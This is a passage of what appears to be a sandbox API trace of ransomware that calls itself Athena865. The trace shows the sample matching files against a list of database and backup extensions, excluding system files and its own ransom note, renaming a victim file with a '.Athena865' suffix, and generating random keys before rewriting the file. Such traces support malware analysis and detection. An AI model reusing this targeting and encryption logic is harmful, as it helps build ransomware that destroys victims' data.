[0128.878] lstrlenW (lpString="mdf") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.878] lstrlenW (lpString="mdb") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.878] lstrlenW (lpString="sql") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.878] lstrlenW (lpString="sqlite") returned 6 [0128.878] lstrcmpiW (lpString1="53.WMF", lpString2="sqlite") returned -1 [0128.878] lstrlenW (lpString="sqlite3") returned 7 [0128.878] lstrcmpiW (lpString1="953.WMF", lpString2="sqlite3") returned -1 [0128.878] lstrlenW (lpString="sqlitedb") returned 8 [0128.878] lstrcmpiW (lpString1="9953.WMF", lpString2="sqlitedb") returned -1 [0128.878] lstrlenW (lpString="xml") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.878] lstrlenW (lpString="$er") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.878] lstrlenW (lpString="4dd") returned 3 [0128.879] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.879] lstrlenW (lpString="4dl") returned 3 [0128.879] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.879] lstrlenW (lpString="^^^") returned 3 [0128.879] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.879] lstrlenW (lpString="abs") returned 3 [0128.879] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.879] lstrlenW (lpString="abx") returned 3 [0128.879] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.879] lstrlenW (lpString="accdb") returned 5 [0128.879] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0128.879] lstrlenW (lpString="accdc") returned 5 [0128.879] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0128.879] lstrlenW (lpString="accde") returned 5 [0128.879] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0128.879] lstrlenW (lpString="accdr") returned 5 [0128.879] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0128.879] lstrlenW (lpString="accdt") returned 5 [0128.879] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0128.879] lstrlenW (lpString="accdw") returned 5 [0128.879] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0128.879] lstrlenW (lpString="accft") returned 5 [0128.879] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0128.879] lstrlenW (lpString="adb") returned 3 [0128.879] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.879] lstrlenW (lpString="adb") returned 3 [0128.879] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.880] lstrlenW (lpString="ade") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.880] lstrlenW (lpString="adf") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.880] lstrlenW (lpString="adn") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.880] lstrlenW (lpString="adp") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.880] lstrlenW (lpString="alf") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.880] lstrlenW (lpString="ask") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.880] lstrlenW (lpString="btr") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.880] lstrlenW (lpString="cat") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.880] lstrlenW (lpString="cdb") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.880] lstrlenW (lpString="ckp") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.880] lstrlenW (lpString="cma") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.880] lstrlenW (lpString="cpd") returned 3 [0128.880] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.880] lstrlenW (lpString="dacpac") returned 6 [0128.880] lstrcmpiW (lpString1="53.WMF", lpString2="dacpac") returned -1 [0128.880] lstrlenW (lpString="dad") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.881] lstrlenW (lpString="dadiagrams") returned 10 [0128.881] lstrcmpiW (lpString1="239953.WMF", lpString2="dadiagrams") returned -1 [0128.881] lstrlenW (lpString="daschema") returned 8 [0128.881] lstrcmpiW (lpString1="9953.WMF", lpString2="daschema") returned -1 [0128.881] lstrlenW (lpString="db-journal") returned 10 [0128.881] lstrcmpiW (lpString1="239953.WMF", lpString2="db-journal") returned -1 [0128.881] lstrlenW (lpString="db-shm") returned 6 [0128.881] lstrcmpiW (lpString1="53.WMF", lpString2="db-shm") returned -1 [0128.881] lstrlenW (lpString="db-wal") returned 6 [0128.881] lstrcmpiW (lpString1="53.WMF", lpString2="db-wal") returned -1 [0128.881] lstrlenW (lpString="dbc") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.881] lstrlenW (lpString="dbs") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.881] lstrlenW (lpString="dbt") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.881] lstrlenW (lpString="dbv") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.881] lstrlenW (lpString="dbx") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.881] lstrlenW (lpString="dcb") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.881] lstrlenW (lpString="dct") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.881] lstrlenW (lpString="dcx") returned 3 [0128.881] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.881] lstrlenW (lpString="ddl") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.882] lstrlenW (lpString="dlis") returned 4 [0128.882] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.882] lstrlenW (lpString="dp1") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.882] lstrlenW (lpString="dqy") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.882] lstrlenW (lpString="dsk") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.882] lstrlenW (lpString="dsn") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.882] lstrlenW (lpString="dtsx") returned 4 [0128.882] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.882] lstrlenW (lpString="dxl") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.882] lstrlenW (lpString="eco") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.882] lstrlenW (lpString="ecx") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.882] lstrlenW (lpString="edb") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.882] lstrlenW (lpString="epim") returned 4 [0128.882] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.882] lstrlenW (lpString="fcd") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.882] lstrlenW (lpString="fdb") returned 3 [0128.882] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.883] lstrlenW (lpString="fic") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.883] lstrlenW (lpString="flexolibrary") returned 12 [0128.883] lstrlenW (lpString="fm5") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.883] lstrlenW (lpString="fmp") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.883] lstrlenW (lpString="fmp12") returned 5 [0128.883] lstrcmpiW (lpString1="3.WMF", lpString2="fmp12") returned -1 [0128.883] lstrlenW (lpString="fmpsl") returned 5 [0128.883] lstrcmpiW (lpString1="3.WMF", lpString2="fmpsl") returned -1 [0128.883] lstrlenW (lpString="fol") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.883] lstrlenW (lpString="fp3") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.883] lstrlenW (lpString="fp4") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.883] lstrlenW (lpString="fp5") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.883] lstrlenW (lpString="fp7") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.883] lstrlenW (lpString="fpt") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.883] lstrlenW (lpString="frm") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.883] lstrlenW (lpString="gdb") returned 3 [0128.883] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.884] lstrlenW (lpString="gdb") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.884] lstrlenW (lpString="grdb") returned 4 [0128.884] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.884] lstrlenW (lpString="gwi") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.884] lstrlenW (lpString="hdb") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.884] lstrlenW (lpString="his") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.884] lstrlenW (lpString="ib") returned 2 [0128.884] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.884] lstrlenW (lpString="idb") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.884] lstrlenW (lpString="ihx") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.884] lstrlenW (lpString="itdb") returned 4 [0128.884] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.884] lstrlenW (lpString="itw") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.884] lstrlenW (lpString="jet") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.884] lstrlenW (lpString="jtx") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.884] lstrlenW (lpString="kdb") returned 3 [0128.884] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.884] lstrlenW (lpString="kexi") returned 4 [0128.884] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.884] lstrlenW (lpString="kexic") returned 5 [0128.885] lstrcmpiW (lpString1="3.WMF", lpString2="kexic") returned -1 [0128.885] lstrlenW (lpString="kexis") returned 5 [0128.885] lstrcmpiW (lpString1="3.WMF", lpString2="kexis") returned -1 [0128.885] lstrlenW (lpString="lgc") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.885] lstrlenW (lpString="lwx") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.885] lstrlenW (lpString="maf") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.885] lstrlenW (lpString="maq") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.885] lstrlenW (lpString="mar") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.885] lstrlenW (lpString="marshal") returned 7 [0128.885] lstrcmpiW (lpString1="953.WMF", lpString2="marshal") returned -1 [0128.885] lstrlenW (lpString="mas") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.885] lstrlenW (lpString="mav") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.885] lstrlenW (lpString="maw") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.885] lstrlenW (lpString="mdbhtml") returned 7 [0128.885] lstrcmpiW (lpString1="953.WMF", lpString2="mdbhtml") returned -1 [0128.885] lstrlenW (lpString="mdn") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.885] lstrlenW (lpString="mdt") returned 3 [0128.885] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.885] lstrlenW (lpString="mfd") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.886] lstrlenW (lpString="mpd") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.886] lstrlenW (lpString="mrg") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.886] lstrlenW (lpString="mud") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.886] lstrlenW (lpString="mwb") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.886] lstrlenW (lpString="myd") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.886] lstrlenW (lpString="ndf") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.886] lstrlenW (lpString="nnt") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.886] lstrlenW (lpString="nrmlib") returned 6 [0128.886] lstrcmpiW (lpString1="53.WMF", lpString2="nrmlib") returned -1 [0128.886] lstrlenW (lpString="ns2") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.886] lstrlenW (lpString="ns3") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.886] lstrlenW (lpString="ns4") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.886] lstrlenW (lpString="nsf") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.886] lstrlenW (lpString="nv") returned 2 [0128.886] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.886] lstrlenW (lpString="nv2") returned 3 [0128.886] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.887] lstrlenW (lpString="nwdb") returned 4 [0128.887] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.887] lstrlenW (lpString="nyf") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.887] lstrlenW (lpString="odb") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.887] lstrlenW (lpString="odb") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.887] lstrlenW (lpString="oqy") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.887] lstrlenW (lpString="ora") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.887] lstrlenW (lpString="orx") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.887] lstrlenW (lpString="owc") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.887] lstrlenW (lpString="p96") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.887] lstrlenW (lpString="p97") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.887] lstrlenW (lpString="pan") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.887] lstrlenW (lpString="pdb") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.887] lstrlenW (lpString="pdm") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.887] lstrlenW (lpString="pnz") returned 3 [0128.887] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.887] lstrlenW (lpString="qry") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.888] lstrlenW (lpString="qvd") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.888] lstrlenW (lpString="rbf") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.888] lstrlenW (lpString="rctd") returned 4 [0128.888] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.888] lstrlenW (lpString="rod") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.888] lstrlenW (lpString="rodx") returned 4 [0128.888] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.888] lstrlenW (lpString="rpd") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.888] lstrlenW (lpString="rsd") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.888] lstrlenW (lpString="sas7bdat") returned 8 [0128.888] lstrcmpiW (lpString1="9953.WMF", lpString2="sas7bdat") returned -1 [0128.888] lstrlenW (lpString="sbf") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.888] lstrlenW (lpString="scx") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.888] lstrlenW (lpString="sdb") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.888] lstrlenW (lpString="sdc") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.888] lstrlenW (lpString="sdf") returned 3 [0128.888] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.888] lstrlenW (lpString="sis") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.889] lstrlenW (lpString="spq") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.889] lstrlenW (lpString="te") returned 2 [0128.889] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.889] lstrlenW (lpString="teacher") returned 7 [0128.889] lstrcmpiW (lpString1="953.WMF", lpString2="teacher") returned -1 [0128.889] lstrlenW (lpString="tmd") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.889] lstrlenW (lpString="tps") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.889] lstrlenW (lpString="trc") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.889] lstrlenW (lpString="trc") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.889] lstrlenW (lpString="trm") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.889] lstrlenW (lpString="udb") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.889] lstrlenW (lpString="udl") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.889] lstrlenW (lpString="usr") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.889] lstrlenW (lpString="v12") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.889] lstrlenW (lpString="vis") returned 3 [0128.889] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.890] lstrlenW (lpString="vpd") returned 3 [0128.890] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.890] lstrlenW (lpString="vvv") returned 3 [0128.890] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.890] lstrlenW (lpString="wdb") returned 3 [0128.890] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.890] lstrlenW (lpString="wmdb") returned 4 [0128.890] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.890] lstrlenW (lpString="wrk") returned 3 [0128.890] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.890] lstrlenW (lpString="xdb") returned 3 [0128.890] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.890] lstrlenW (lpString="xld") returned 3 [0128.890] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.890] lstrlenW (lpString="xmlff") returned 5 [0128.890] lstrcmpiW (lpString1="3.WMF", lpString2="xmlff") returned -1 [0128.890] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.Athena865") returned 73 [0128.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.athena865"), dwFlags=0x1) returned 1 [0128.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.891] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7112) returned 1 [0128.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.892] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.893] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.893] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.893] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ed0, lpName=0x0) returned 0x154 [0128.894] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ed0) returned 0x100000 [0128.896] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.896] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.896] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.897] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.897] CloseHandle (hObject=0x154) returned 1 [0128.897] CloseHandle (hObject=0x17c) returned 1 [0128.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.898] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2=".") returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="..") returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="windows") returned -1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="bootmgr") returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="temp") returned -1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="pagefile.sys") returned -1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="boot") returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="ids.txt") returned 1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="ntuser.dat") returned -1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="perflogs") returned -1 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2="MSBuild") returned -1 [0128.898] lstrlenW (lpString="J0239955.WMF") returned 12 [0128.898] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239955.WMF" | out: lpString1="J0239955.WMF") returned="J0239955.WMF" [0128.898] lstrlenW (lpString="J0239955.WMF") returned 12 [0128.898] lstrlenW (lpString="Athena865") returned 9 [0128.898] lstrcmpiW (lpString1="39955.WMF", lpString2="Athena865") returned -1 [0128.898] lstrlenW (lpString=".dll") returned 4 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2=".dll") returned 1 [0128.898] lstrlenW (lpString=".lnk") returned 4 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2=".lnk") returned 1 [0128.898] lstrlenW (lpString=".ini") returned 4 [0128.898] lstrcmpiW (lpString1="J0239955.WMF", lpString2=".ini") returned 1 [0128.899] lstrlenW (lpString=".sys") returned 4 [0128.899] lstrcmpiW (lpString1="J0239955.WMF", lpString2=".sys") returned 1 [0128.899] lstrlenW (lpString="J0239955.WMF") returned 12 [0128.899] lstrlenW (lpString="bak") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.899] lstrlenW (lpString="ba_") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.899] lstrlenW (lpString="dbb") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.899] lstrlenW (lpString="vmdk") returned 4 [0128.899] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.899] lstrlenW (lpString="rar") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.899] lstrlenW (lpString="zip") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.899] lstrlenW (lpString="tgz") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", 